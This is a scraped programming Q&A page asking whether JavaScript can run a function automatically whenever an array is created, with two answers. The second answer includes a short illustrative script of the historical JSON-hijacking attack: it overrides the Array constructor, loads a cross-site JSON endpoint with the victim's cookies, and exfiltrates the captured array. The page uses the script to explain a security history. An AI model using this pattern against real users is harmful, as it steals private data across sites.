Logo Questions Linux Laravel Mysql Ubuntu Git Menu
 

Is it possible to carry out a function every time an Array is created?

When an array is created, I need a function to be called on that array automatically. I figured this would be possible using the Array's prototype / constructor somehow, but I'm at a loss as to how to solve this problem.

So I have an Array, which I initialise:

var arr = [1, 2, 3];

Now let's say I have a function like so:

Array.prototype.objectArray = function() {
    var result = this.every(function(elem) {
        return typeof elem == "object";
    });
    this.isObjectArray = result;
}

So in this case, calling the function on this array would assign its isObjectArray parameter to false.

However, what I want is for this function to run on the array every time an array is created, automatically, so that by default every array has its isObjectArray property set. Is this possible?

Thanks in advance!

like image 777
jonny Avatar asked Aug 27 '15 12:08

jonny


People also ask

Can an array hold a function?

The simple answer is yes you can place function in an array. In fact, can declare variables and reference them in your function.

Which array method should you apply to run a function for every time within an array?

The Array.forEach method has the following syntax: Array. forEach(callback(currentValue [, index [, array]])[, thisArg]); The forEach method executes a provided function once for every element in the array.

Can you call a function in an array?

It is important to remember that when an array is used as a function argument, its address is passed to a function. This means that the code inside the function will be operating on, and potentially altering, the actual content of the array used to call the function.

Which array method should you apply to run a function for every item within an array returning an array of all items?

The arr. forEach method allows to run a function for every element of the array. The syntax: arr.


2 Answers

To my knowledge it is not possible, but you can define a function that lazily computes whether the array only contains objects:

Array.prototype.isObjectArray = function () {
  if (typeof(this.__isObjectArray) === 'undefined') {
    this.__isObjectArray = this.every(function(elem) {
      return typeof elem == "object";
    });
  }
  
  return this.__isObjectArray;
};


var a = [1, 2, 3];
var b = [[], {}];

alert("a: " + a.isObjectArray() + ", b: " + b.isObjectArray());

The above code only does the computation once (the first time it's requested) and on subsequent calls it only returns the already computed value.

Also, if you create arrays on which you do not call isObjectArray(), the computation is never done.

like image 59
Cristian Lupascu Avatar answered Nov 15 '22 04:11

Cristian Lupascu


No. This was possible under EcmaScript 3 by overriding Array, but this opened up a number of nasty security holes like Jeremiah Grossman's contact list exfiltration attack against Gmail, so it's unlikely that any similar feature will be introduced.

If an attacker can cause a user to visit a page then they can do something like:

<script>
var arrayStolenFromJSONWebAPI;
var originalArray = Array;
Array = function () {
  var arr = new originalArray();
  originalArray.prototype.push.apply(arr, arguments);
  if (!arrayStolenFromJSONWebAPI) {
    arrayStolenFromJSONWebAPI = arr;
  }
  return arr;
}
</script>
<!-- XSRF attack that loads JSON requested with user's cookies -->
<script src="http://foo.com/web_api_in_same_origin_that_returns_json"></script>
<script>
exfiltrate(arrayStolenFromJSONWebAPI);
</script>
like image 22
Mike Samuel Avatar answered Nov 15 '22 06:11

Mike Samuel